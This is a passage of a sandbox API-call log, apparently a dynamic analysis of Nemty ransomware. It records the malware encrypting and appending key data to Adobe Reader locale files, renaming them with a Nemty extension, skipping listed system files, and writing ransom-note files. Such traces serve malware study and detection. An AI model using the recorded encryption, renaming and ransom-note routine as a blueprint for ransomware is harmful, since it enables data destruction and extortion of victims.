hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NOR", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.NOR", lpUsedDefaultChar=0x0) returned 11 [0180.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NOR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.309] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.NOR", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.NOR", lpUsedDefaultChar=0x0) returned 11 [0180.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.309] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.309] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.309] Sleep (dwMilliseconds=0x5) [0180.318] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f1ffa50, dwHighDateTime=0x1d561e8)) [0180.318] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f1ffa50, dwHighDateTime=0x1d561e8)) [0180.318] GetLastError () returned 0x0 [0180.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.318] GetLastError () returned 0x0 [0180.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.318] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.318] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.318] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.318] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.319] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.319] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="FYCJLTiFY0lUbni+Q9ffvrCd43biI+cOsBqgbl5NzyrxI05brkCLgqs8jgs8tHwV\r\n/fui3y5gzHAj7ClBsP8jOX1n1rXlk7kesliMVSzPxmiNdMhUlWwF49TFCdJkigjb\r\nVBCICa3dmIQn94tMjIKGiineMqqO4K2pvXBXeehvBqaUx0Icobo8DHfEi44OzLUM\r\nv+xFrS/Z4VrHJHeKR5FrTIgctWaShP3BYYMVpIXn3AwP4ZYiyPmJBVhNRP0swdQA\r\nLrphTw6ldSZa1/XZkSExq2or501eVf4yFmlTL+9HyMTT8WDb6pehyt9v9VrrTYDF\r\n7dyXOcucemnknvvN7rmCGw==\r\n", pcchString=0x653e5dc) returned 1 [0180.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.319] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Weblink.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\weblink.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.319] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27648) returned 1 [0180.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c00) returned 0x6352c48 [0180.319] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.319] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c00, lpOverlapped=0x0) returned 1 [0180.322] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.322] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c00, lpOverlapped=0x0) returned 1 [0180.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.323] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00 [0180.323] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.323] CloseHandle (hObject=0x2e8) returned 1 [0180.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.323] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.323] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Weblink.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\weblink.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Weblink.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\weblink.nor._nemty_kgobjgd_")) returned 1 [0180.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.324] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eccaa30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1eccaa30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ecf0b90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0180.324] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0180.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0180.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0180.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0180.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0180.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0180.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0180.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0180.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0180.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.325] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eccaa30, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1eccaa30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ecf0b90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0180.325] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0180.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0180.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0180.325] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ee9f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ee9f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="nl_NL", cAlternateFileName="")) returned 1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2=".") returned 1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="..") returned 1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="...") returned 1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="windows") returned -1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="$RECYCLE.BIN") returned 1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="rsa") returned -1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="NTDETECT.COM") returned -1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="ntldr") returned -1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="MSDOS.SYS") returned 1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="IO.SYS") returned 1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="boot.ini") returned 1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="boot.ini") returned 1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="AUTOEXEC.BAT") returned 1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="ntuser.dat") returned -1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="desktop.ini") returned 1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="CONFIG.SYS") returned 1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="RECYCLER") returned -1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="BOOTSECT.BAK") returned 1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="bootmgr") returned 1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="programdata") returned -1 [0180.326] lstrcmpiW (lpString1="nl_NL", lpString2="appdata") returned 1 [0180.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nl_NL", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nl_NL", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nl_NL", lpUsedDefaultChar=0x0) returned 5 [0180.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nl_NL", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.326] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nl_NL", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nl_NL", lpUsedDefaultChar=0x0) returned 5 [0180.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0180.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0180.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0180.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0180.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.326] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0180.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0180.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0180.327] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0180.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0180.329] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.329] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0180.330] CloseHandle (hObject=0x254) returned 1 [0180.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0180.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0180.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0180.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0180.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0180.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0180.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.330] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.330] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.330] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.331] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0180.331] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 